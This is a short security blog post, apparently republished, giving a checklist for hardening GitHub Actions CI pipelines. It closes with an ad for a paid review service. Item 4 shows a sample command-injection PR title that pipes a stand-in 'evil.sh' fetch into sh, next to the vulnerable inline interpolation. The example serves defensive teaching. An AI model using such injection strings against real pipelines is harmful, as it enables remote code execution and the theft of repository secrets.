A CI pipeline security checklist you can finish in 20 minutes
Most CI security advice is written for someone who already has a security team. This is the version for the person who owns the workflow file and has twenty minutes. Everything below is a check you can run against a rep
Most CI security advice is written for someone who already has a security team. This is the version for the person who owns the workflow file and has twenty minutes.
Everything below is a check you can run against a repository you already have. No tools to buy, no platform migration.
1. Pin third-party actions to a commit SHA, not a tag
# wrong: a tag can be moved to new code at any time
- uses: some-org/some-action@v3
# right: this exact commit
- uses: some-org/some-action@8f4b7c1e9d2a6b3c4d5e6f7a8b9c0d1e2f3a4b5c # v3.2.1
A tag is a mutable pointer. If the action's repository is compromised, @v3 starts running attacker code with your token on the next push. A SHA cannot be moved.
Keep the version in a comment so Dependabot can still bump it.
2. Give GITHUB_TOKEN nothing it does not need
Default permissions are wider than most jobs require. Set them at the top and widen per job:
permissions:
contents: read
jobs:
publish:
permissions:
contents: read
packages: write # only this job gets it
If a step does not need to write, it should not hold a token that can. This is the cheapest control in the list and the most commonly skipped.
3. Never run untrusted code with secrets in scope
pull_request_target runs in the base repository's context β with secrets β while checking out the contributor's code. That combination is remote code execution against your secrets.
If you need to label a PR, do that. Do not check out the head ref and run npm install under pull_request_target.
4. Treat PR titles and branch names as input, not text
# injection: a PR titled "; curl evil.sh | sh; echo "
- run: echo "${{ github.event.pull_request.title }}"
${{ }} is substituted before the shell runs, so quotes in the title become shell syntax. Pass untrusted values through env and quote them:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: printf '%s\n' "$TITLE"
5. Watch what gets cached
A cache key that does not include the lockfile hash lets one branch poison what another branch installs. Include the hash, and do not let fork PRs write to caches that main reads.
6. Check what your artifacts actually contain
dist/ built in CI and uploaded as an artifact is an input to whatever consumes it. If a later job downloads an artifact and publishes it without checking, the trust boundary moved and nobody noticed.
Prefer building and publishing in the same job, or verify a digest.
7. Secrets leak through logs more often than through breaches
set -x, a failing command that echoes its arguments, a debug step someone forgot. Anything printed is retained. If a token might be in the output, rotate it β do not assume masking caught every form.
8. Self-hosted runners are not isolated by default
If a self-hosted runner executes fork PRs, the runner's filesystem, its credentials, and its network position are all reachable by that PR. Either do not run untrusted code there, or treat the runner as a machine you are willing to rebuild.
9. Make the audit reproducible
A checklist that lives in someone's head decays. Record the commit you audited, the workflow file hashes, and what you changed. Then the next audit is a diff, not a rediscovery.
The twenty-minute version
If you only do four things:
- Pin all third-party actions to SHAs.
- Set
permissions: contents: readat the top. - Remove secrets from any job that runs fork code.
- Route untrusted strings through
env, never inline${{ }}inrun:.
Those four close the majority of realistic CI compromise paths, and none of them require new tooling.
I do this as a fixed-fee review: CI workflows, dependency and action pinning, token scopes, and injection paths, plus MCP tool manifests and HTTP headers if you use them. Severity-ranked findings with the exact patches, three working days, USD 99 β CI and MCP security review.
If you just want the free part: ToolShield scans MCP tool manifests in the browser and uploads nothing.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β full credit and traffic to the original publisher.